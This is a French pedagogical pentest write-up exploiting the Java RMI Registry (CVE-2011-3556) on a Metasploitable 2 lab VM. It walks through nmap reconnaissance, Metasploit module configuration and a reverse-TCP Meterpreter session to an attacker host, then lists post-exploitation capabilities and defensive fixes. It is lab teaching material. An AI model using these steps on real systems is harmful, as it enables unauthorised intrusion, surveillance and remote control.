Retour à l'accueil
Lab Pentest · Metasploitable 2 · Cours Technique

Exploitation Java RMI Registry
De la reconnaissance au shell root

Write-up pédagogique complet : reconnaissance réseau, énumération de services, exploitation d'une désérialisation Java RMI non authentifiée, établissement d'un canal C2 avec Metasploit, et post-exploitation via Meterpreter. Chaque terme technique est défini au fil du texte.

Java RMI RCE — CVE-2011-3556 Metasploit Framework Meterpreter Metasploitable 2

Contexte & Environnement de Lab

Ce write-up documente l'exploitation d'une machine Metasploitable 2, une distribution Linux volontairement vulnérable développée par Rapid7 à des fins pédagogiques. Elle est largement utilisée en formation pentest pour s'entraîner légalement sur des vulnérabilités réelles, sans risque juridique.

Environnement de laboratoire isolé — toute technique décrite ici est illégale sur un système sans autorisation explicite

L'environnement est constitué de deux machines virtuelles sur un réseau interne isolé (192.168.30.0/24) :

Machine attaquante
Kali Linux
192.168.30.135
Réseau local isolé
192.168.30.0/24
Machine cible
Metasploitable 2
192.168.30.141
spectra@kali: ~ — ifconfig
Résultat de la commande ifconfig sur Kali
Interface eth0 de la machine attaquante — IP 192.168.30.135

La commande ifconfig affiche la configuration des interfaces réseau de la machine. On y confirme l'adresse IPv4 attribuée à l'interface eth0 : 192.168.30.135. Cette IP servira de point de référence pour tout le reste de l'exploitation — notamment comme adresse d'écoute du canal de contrôle à distance (C2).

Fondamentaux Théoriques

Avant de plonger dans l'exploitation, il est essentiel de comprendre les concepts qui structurent toute intrusion méthodique. Un test d'intrusion (pentest) suit généralement une méthodologie en phases : reconnaissance, énumération, exploitation, post-exploitation, et reporting.

Reconnaissance
Phase de collecte d'informations sur la cible — machines actives, services exposés, versions logicielles — sans encore tenter d'exploitation.
Énumération
Analyse approfondie des services découverts pour identifier leur version exacte et les vulnérabilités potentiellement associées.
Exploit
Code ou technique qui tire parti d'une faille logicielle pour obtenir un comportement non prévu par le développeur (souvent l'exécution de code arbitraire).
Payload
Code exécuté sur la machine cible une fois l'exploit réussi — il définit ce que l'attaquant obtient (shell, meterpreter, etc.).
RCE (Remote Code Execution)
Classe de vulnérabilité permettant à un attaquant d'exécuter du code arbitraire sur un système distant, sans accès physique préalable.
Post-exploitation
Ensemble des actions menées après avoir obtenu un accès : élévation de privilèges, mouvement latéral, exfiltration, maintien d'accès.

Qu'est-ce que Java RMI ?

Java RMI (Remote Method Invocation)
Technologie Java permettant à un objet exécuté sur une JVM (Java Virtual Machine) d'invoquer des méthodes sur un objet situé sur une autre JVM, potentiellement sur une machine distante — comme un appel de fonction classique, mais à travers le réseau. RMI repose sur un composant appelé le RMI Registry, un service d'annuaire qui écoute par défaut sur le port TCP 1099 et référence les objets distants disponibles.

Le problème de sécurité exploité ici (CVE-2011-3556) vient du fait que, par défaut, le RMI Registry accepte des appels non authentifiés qui permettent de charger et d'exécuter du code Java arbitraire fourni par le client — sans aucune vérification d'identité. Un attaquant peut donc envoyer un objet malveillant que le service exécutera avec ses propres privilèges.

Le Metasploit Framework

Metasploit Framework
Framework open source développé par Rapid7, référence dans le domaine du pentest. Il centralise des milliers de modules prêts à l'emploi organisés par type : exploit (code d'attaque), payload (charge utile post-exploitation), auxiliary (scanners, fuzzers), post (modules post-exploitation), encoder (obfuscation) et nop (générateurs de NOP sled). L'interface interactive s'appelle msfconsole.

Ce framework élimine le besoin d'écrire un exploit à la main pour chaque vulnérabilité connue : il suffit de sélectionner le bon module, de le configurer, et de l'exécuter.

Reconnaissance Réseau — Ping Sweep

La toute première étape d'un test d'intrusion réseau consiste à identifier les machines actives sur le segment ciblé. On utilise pour cela un ping sweep — un balayage qui envoie une requête à chaque adresse IP possible d'une plage réseau pour détecter les hôtes qui répondent.

nmap (Network Mapper)
Outil de référence pour la découverte réseau et l'audit de sécurité. Il permet de détecter les hôtes actifs, les ports ouverts, les services en écoute et leurs versions. L'option -sn désactive le scan de ports et effectue uniquement une détection de présence (ping scan) — rapide et discret.
Bash — Ping sweep du sous-réseau
nmap -sn 192.168.30.0/24
nmap -sn — Découverte d'hôtes
Résultat du ping sweep nmap
5 hôtes actifs détectés sur 256 adresses scannées en 12.99 secondes

Le scan révèle 5 machines actives sur le réseau, dont l'adresse 192.168.30.141 — une IP qui ne correspond ni à la passerelle (.1), ni à notre propre machine (.135), ni aux adresses d'infrastructure habituelles. C'est notre cible potentielle.

Cible identifiée : 192.168.30.141

Énumération des Services — Scan de Versions

Une fois la cible identifiée, l'étape suivante consiste à cartographier sa surface d'attaque : quels ports sont ouverts, quels services y écoutent, et surtout quelle version exacte de chaque service est déployée — l'information clé pour rechercher des vulnérabilités connues.

Scan de versions (-sV)
L'option -sV de nmap va au-delà de la simple détection de port ouvert : elle envoie des sondes spécifiques à chaque service pour identifier précisément le logiciel et sa version (ex. OpenSSH 4.7p1, vsftpd 2.3.4). Cette granularité est indispensable pour cibler un exploit adapté.
Bash — Scan de versions détaillé
sudo nmap -sV 192.168.30.141
nmap -sV 192.168.30.141
Résultat du scan de versions nmap sur la cible
23 ports ouverts détectés — empreinte typique de Metasploitable 2

Le résultat est extrêmement riche : la machine expose 23 services, dont plusieurs sont historiquement associés à des vulnérabilités critiques bien documentées. Voici les entrées les plus significatives pour notre analyse :

PortServiceVersionIntérêt offensif
21/tcpftpvsftpd 2.3.4Backdoor connu (CVE-2011-2523)
22/tcpsshOpenSSH 4.7p1Version ancienne, peu d'intérêt direct ici
139/445/tcpsambaSamba 3.X–4.XVulnérabilités SMB historiques
1099/tcpjava-rmiGNU Classpath grmiregistryRMI Registry non authentifié → RCE (ciblé ici)
1524/tcpbindshellMetasploitable root shellBackdoor déjà ouvert (root direct)
3306/tcpmysqlMySQL 5.0.51aVersion vulnérable aux injections/bypass
6667/tcpircUnrealIRCdBackdoor connu (CVE-2010-2075)
8180/tcphttpApache Tomcat/Coyote JSP 1.1Credentials par défaut, upload WAR malveillant

Cette diversité de services vulnérables est caractéristique de Metasploitable 2, conçue pour offrir de multiples chemins d'exploitation pédagogiques. Nous choisissons ici de cibler le port 1099 (java-rmi), car il permet une exploitation directe menant généralement à un accès avec les privilèges root — le service RMI de Metasploitable tourne en effet sous cet utilisateur.

Port 1099 sélectionné — service RMI Registry, cible à haute valeur (exécution en tant que root)

Metasploit Framework — Recherche du Module

On lance msfconsole, l'interface en ligne de commande interactive du Metasploit Framework. Elle centralise tous les modules disponibles et fournit des commandes pour les rechercher, les configurer et les exécuter.

msfconsole — Démarrage
Bannière de démarrage de msfconsole
Metasploit v6.4.116-dev — 2 623 exploits, 1 326 modules auxiliaires, 1 710 payloads chargés

La bannière confirme le chargement de la base de modules. On recherche ensuite un exploit lié au service RMI identifié, avec la commande search et le mot-clé rmiregistry.

msfconsole — Recherche de module
msf6 > search rmiregistry
search rmiregistry — Résultats
Résultat de la recherche du module RMI
Module trouvé : exploit/multi/misc/java_rmi_server — Rank "excellent"

Le module exploit/multi/misc/java_rmi_server apparaît, avec un Rank ("classement de fiabilité") noté excellent — le niveau le plus élevé attribué par Metasploit, signifiant que l'exploit est stable et ne devrait pas faire planter le service ciblé.

Rank (classement)
Indicateur de fiabilité d'un exploit Metasploit — de "manual" (risqué, manuel) à "excellent" (fiable, sans effet de bord).
Disclosure Date
Date à laquelle la vulnérabilité a été rendue publique — ici 2011-10-15, une faille ancienne mais toujours pédagogiquement pertinente.

On sélectionne le module avec la commande use, en utilisant soit son index numérique (use 0) soit son chemin complet.

use exploit/multi/misc/java_rmi_server
Sélection du module d'exploit
Module sélectionné — le prompt devient msf exploit(multi/misc/java_rmi_server) >
Module chargé : exploit/multi/misc/java_rmi_server

Configuration & Lancement de l'Exploit

Chaque module Metasploit expose un ensemble d'options configurables. La commande show options affiche les paramètres requis, leur valeur actuelle et leur description.

show options
Affichage des options du module
Options par défaut du module — payload java/meterpreter/reverse_tcp

On observe deux blocs distincts : les Module options (paramètres de l'exploit lui-même) et les Payload options (paramètres de la charge utile qui sera livrée après exploitation réussie).

ParamètreRôle
RHOSTSRemote Host(s) — l'adresse IP de la machine cible à attaquer
RPORTRemote Port — le port du service ciblé (1099 pour RMI, valeur par défaut correcte)
SRVHOST / SRVPORTAdresse et port du serveur HTTP temporaire que Metasploit monte pour livrer le payload Java
LHOSTListen Host — l'adresse IP de l'attaquant, où la cible devra se reconnecter
LPORTListen Port — le port d'écoute sur la machine attaquante (4444 par défaut)

On configure la cible avec set RHOSTS, en indiquant l'adresse IP découverte lors du scan.

msfconsole — Configuration de la cible
msf exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.30.141
set RHOSTS 192.168.30.141
Configuration de RHOSTS
RHOSTS configuré, LHOST déjà correctement défini sur l'IP de l'attaquant (192.168.30.135)
RHOSTS confirmé — prêt à exploiter
RHOSTS confirmé, commande exploit lancée
RHOSTS => 192.168.30.141 — commande "exploit" lancée

Toutes les options requises sont renseignées. On lance l'attaque avec la commande exploit.

Architecture C2 & Établissement de la Session Meterpreter

Comprendre l'architecture C2 (Command & Control)

C2 — Command and Control
Architecture réseau permettant à un attaquant de piloter à distance une machine compromise. Le terme désigne à la fois le serveur qui reçoit les connexions des machines infectées (souvent appelées implants ou agents) et le protocole de communication utilisé pour envoyer des commandes et recevoir des résultats. Dans un contexte Metasploit, msfconsole lui-même agit comme serveur C2, et la session Meterpreter ouverte sur la cible en est l'implant.

Le payload utilisé ici — java/meterpreter/reverse_tcp — illustre un choix architectural central dans la conception d'un canal C2 : la direction de la connexion.

Reverse shell
La machine compromise initie la connexion vers l'attaquant. Efficace pour contourner les pare-feux/NAT qui bloquent les connexions entrantes vers la cible — c'est le modèle utilisé ici.
Bind shell
La machine compromise ouvre un port et attend que l'attaquant se connecte. Plus simple mais facilement bloqué par un pare-feu sortant côté cible.
Stager / Stage
Un payload "staged" se déploie en deux temps : un petit stager initial établit la connexion, puis télécharge la charge complète (le "stage") — ici Meterpreter, 58 073 octets.
Meterpreter
Payload avancé de Metasploit, entièrement en mémoire (pas d'écriture sur disque), offrant une interface de post-exploitation riche : shell, capture d'écran, webcam, pivoting réseau, etc.
Implant (Meterpreter)
Metasploitable 2
192.168.30.141
Connexion reverse TCP
initiée par la cible
vers le port 4444
Serveur C2 (Handler)
msfconsole
192.168.30.135:4444

Concrètement, l'exploit RMI livre un petit stager Java à la cible, qui se connecte ensuite vers le handler (gestionnaire de connexion) démarré automatiquement par Metasploit sur LHOST:LPORT. Une fois la connexion établie, le stage complet (Meterpreter) est transféré, et une session interactive s'ouvre.

exploit — Session Meterpreter ouverte
Session Meterpreter établie avec succès
Handler reverse TCP démarré, stage envoyé, session Meterpreter 1 ouverte

Le journal d'exécution retrace précisément le protocole d'exploitation :

Handler démarré :4444 Envoi en-tête RMI Appel RMI malveillant Cible télécharge le payload JAR Session Meterpreter ouverte
Session Meterpreter 1 établie — 192.168.30.135:4444 ⇄ 192.168.30.141:49888

Une fois la session ouverte, la commande help liste l'ensemble des Core Commands disponibles — l'interface de contrôle du canal C2 côté attaquant.

meterpreter > help
Commandes core de Meterpreter
Core Commands Meterpreter — gestion de session, chargement de modules, exécution

Post-exploitation

Une fois l'accès obtenu, la phase de post-exploitation consiste à explorer le système compromis, confirmer le niveau de privilège obtenu, et éventuellement pivoter vers d'autres ressources internes.

Bascule vers un shell système

La commande shell de Meterpreter fait basculer la session vers un shell système natif (sh/bash sur Linux) — utile pour exécuter des commandes Unix classiques directement.

Meterpreter — Bascule shell
meterpreter > shell
shell — ifconfig sur la cible
Shell système sur la cible avec ifconfig
Une seconde session (session 2) est ouverte ; ifconfig confirme qu'on est bien sur 192.168.30.141

La commande ifconfig, exécutée cette fois depuis l'intérieur de la cible, confirme l'adresse 192.168.30.141 — preuve que le shell obtenu s'exécute bien sur la machine Metasploitable, et non localement.

Exploration du système de fichiers

On explore ensuite l'arborescence pour repérer d'éventuelles applications ou données sensibles, en particulier le répertoire personnel de l'utilisateur par défaut de Metasploitable, msfadmin.

Shell — Navigation du système de fichiers
ls
cd home
ls
cd msfadmin
ls
cd vulnerable
ls
Exploration — /home/msfadmin/vulnerable
Exploration du système de fichiers cible
Répertoire "vulnerable" révèle d'autres applications intentionnellement faillibles : mysql-ssl, samba, tikiwiki, twiki20030201

Cette exploration révèle que Metasploitable héberge, sous /home/msfadmin/vulnerable/, plusieurs autres applications volontairement vulnérables (TikiWiki, TWiki, configurations Samba et MySQL faibles) — autant de vecteurs d'attaque supplémentaires pour poursuivre l'entraînement.

Capacités étendues de Meterpreter

Au-delà du shell basique, Meterpreter expose une bibliothèque de commandes stdapi (Standard API) qui illustre bien l'étendue d'un canal C2 mature — bien plus qu'un simple accès en ligne de commande.

Stdapi — Commandes système, UI, webcam, audio
Commandes stdapi étendues de Meterpreter
Commandes avancées : execute, getuid, screenshot, record_mic, keyevent...
CommandeFonction
executeExécute un programme arbitraire sur la cible
getuidAffiche l'utilisateur sous lequel s'exécute la session (souvent root ici)
sysinfoRécupère les informations système (OS, architecture, nom d'hôte)
screenshotCapture l'écran de la session utilisateur active (Windows/desktop)
record_micEnregistre l'audio du microphone par défaut pendant X secondes
keyevent / mouseSimule des entrées clavier/souris à distance

Ces commandes illustrent pourquoi Meterpreter est qualifié de payload "avancé" : il ne s'agit plus d'un simple accès shell, mais d'une véritable plateforme de contrôle à distance couvrant surveillance, exécution et manipulation du système compromis — l'essence même d'une architecture C2 opérationnelle.

Résultat de l'exploitation
Accès root obtenu via RMI Registry non authentifié — CVE-2011-3556

Recommandations de Sécurité

Cette exploitation illustre les conséquences d'un service d'infrastructure exposé sans authentification. Voici les mesures correctives à appliquer dans un environnement réel.

  • 01
    Ne jamais exposer le RMI Registry sur un réseau non fiable. Le port 1099 ne devrait être accessible que depuis des hôtes explicitement autorisés, via un pare-feu ou une liste de contrôle d'accès stricte.
  • 02
    Mettre à jour vers une version de Java corrigée. Le correctif de CVE-2011-3556 introduit un filtrage des classes chargées via RMI — appliqué depuis les versions Java patchées post-2011.
  • 03
    Ne jamais faire tourner un service réseau en tant que root. L'impact de cette faille est démultiplié par le fait que le service RMI de Metasploitable s'exécute avec les privilèges maximaux — un principe du moindre privilège aurait limité les dégâts à un compte non privilégié.
  • 04
    Segmenter le réseau et limiter la surface d'attaque exposée. 23 services ouverts sur une seule machine est un cas extrême (volontaire ici), mais rappelle l'importance de désactiver tout service non strictement nécessaire.
  • 05
    Déployer une détection réseau (IDS/IPS). Un trafic RMI inhabituel suivi d'une connexion sortante vers un port arbitraire (comme 4444) est un indicateur de compromission détectable par des règles de corrélation réseau basiques.

Références